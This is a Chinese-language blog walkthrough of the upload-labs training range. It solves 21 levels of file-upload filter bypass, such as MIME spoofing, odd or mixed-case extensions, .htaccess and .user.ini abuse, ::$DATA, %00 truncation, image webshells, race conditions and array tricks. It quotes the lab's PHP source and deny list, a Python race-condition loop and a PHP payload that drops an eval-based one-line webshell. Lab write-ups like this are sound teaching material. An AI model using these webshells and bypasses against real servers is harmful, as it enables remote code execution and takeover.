文件上传靶场
一些知识点详见周记2的文件上传部分:
https://Hades-blog.github.io/2023/10/15/%E5%91%A8%E8%AE%B0-2023-10-15-%E5%91%A8%E8%AE%B02/
Pass-01
第一题简单的前端验证,禁用js传shell或者改合法后缀抓包
Pass-02
绕MIME检查,抓包改请求头的Content-Type部分为合法(例如image/png)格式绕过
Pass-03
黑名单过滤不全,可以改后缀为能生效但能绕过检测的不常用后缀,如.php3,.php4等
Pass-04
没过滤.htaccess后缀,那么可以传此文件使shell图片在后台生效
Pass-05
user.ini绕过,上传此文件并上传shell图片,使shell包含进后台自带的php文件中
Pass-06
没过滤大小写,可以改后缀为.pHP成功绕过
Pass-07
后端检测没有去掉首尾空格,于是上传 shell.php+空格
那么这样的后缀就能绕过检测
Pass-08
源码中没有过滤 .
上传时文件名为shell.php.,绕过对后缀的检查
Pass-09
源码中未对 ::$DATA 过滤
1 2 3
| 在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名 且保持::$DATA之前的文件名,他的目的就是不检查后缀名 例如:"shell.php::$DATA"Windows会自动去掉末尾的::$DATA变成"shell.php"
|
上传shell.php::$DATA绕过
Pass-10
1 2 3 4 5 6 7
| $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
|
1 2 3
| 使用 deldot() 删除文件名末尾的点
deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
|
可以构造文件名:shell.php. . 绕过检测
Pass-11
源码中 使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查
上传文件名 :shell.p.phphp
上传时会被删除 .php
最后的上传文件名:shell.php
Pass-12
看下源码
1 2 3 4 5 6
| $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; }
|
1 2
| strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出 现的位置(区分大小写)。 substr(string,start,length) 函数返回字符串的一部分*(从start开始 ,长度为 length)
|
源码中对后缀进行白名单检测,只允许 jpg ,png,gif
首先我们上传的是一个php文件,首先要抓包更改它的后缀名来绕过白名单验证
但最终文件的存放位置是以拼接的方式,可以使用%00截断
- 上传shell.jpg的一句话木马
- save_path=../upload/shell.php%00
- 成功上传后,%00后的不会被识别

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
Pass-13
与上题原理类似,不过本题是利用post请求传路径,所以用0x00截断
Pass-14
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用
且题目提示存在文件包含漏洞,那么我们可以使用 图片马 + 文件包含 绕过
上传图片马后利用文件包含构造url,使用蚁剑连接
(一句话木马前写两个占位符好改一些)
Pass-15
通过使用getimagesize()检查是否为图片文件,所以与上题方法一样
Pass-16
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
所以与上题做法一致
Pass-17
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话木马,上传带有PHP一句话木马的GIF图片
注意:二次渲染不会渲染已经被渲染过的文件,我们可以将第一次渲染后的图片写入一句话木马再进行上传就不会被渲染
Pass-18
题目提示需要代码审计,那我们来看下部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $is_upload = false; $msg = null;
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
|
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
也就是说上传的非法文件会被删除,但又没有文件包含漏洞所以图片马又不好使,所以我们可以分析一下
代码运行分析到我们文件是非法的并且删除的过程是有时间的,那么我们就可以在文件还没有被删除的某一瞬间访问到,但是这个过程通过人工是不可能的
那么我们可以对服务器一直发送非法文件并且同时不停的访问这个文件,而这也称为条件竞争,顾名思义就是和删除文件的函数竞争这个非法文件
而这个过程可以通过bp的intruder模块多线程发包,同时用bp不停访问或者写python脚本实现这个功能
1 2 3 4 5 6 7
| import requests url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/shell.php" while True: html = requests.get(url) if html.status_code == 200: print("OK") break
|
注意:在这个过程中,即使访问到我们上传的php文件也无法用蚁剑连接到,毕竟访问到后文件依旧被删除,所以我们考虑写一个这样的php文件上传
1
| <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["ytm666"])?>');?>
|
而这段代码的大致意思就是访问到后能在目录下写入一个这样的一句话木马,之后我们连接写入后的文件shell.php就好了
Pass-19
依旧先分析下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); } function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
$ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
return $this->resultUpload( "SUCCESS" ); }
|
发现与上题大体类似,但本题从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
那么我们可以利用apache解析漏洞,将.php后缀后面再加上一个.7z后缀,这样后台把.7z当作后缀不会删除,但是apache服务器解析不了.7z文件就会继续向前解析.php文件
所以我们需要做的是在文件名被改之前,访问到这个文件,那么做法和上题大体相同
Pass-20
利用之前的几种后缀绕过方法都能绕过
Pass-21
先进行代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| $is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); }
$ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
|
1 2 3 4 5 6 7 8 9
| 这一关白名单 验证过程: --> 验证上传路径是否存在 --> 验证['upload_file']的content-type是否合法(可以抓包修改) --> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组 --> 判断数组最后一个元素是否合法 --> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name --> 上传文件
|
这道题重点就是让分割后的最后一个数组符合要求,并且让首个数组和$file[count($file) - 1]部分拼接
那么我们的思路就是传多个数组,让数组末尾符合要求,并且首位拼接后符合php后缀
这样我们可以传一个下表大于一的数组作为最后一位数组,例如$file[5]=jpg绕过白名单
并且前两位数组可以传为$file[0]=shell.php,$file[1]=php
这样我们只传了三个有效数组,$file[count($file) - 1]这部分结果就为$file[2]
但是因为我们file[2]实际上是没有值的,这样和第一位数组拼接就成为了shell.php.
这样就成功的绕过并上传后门了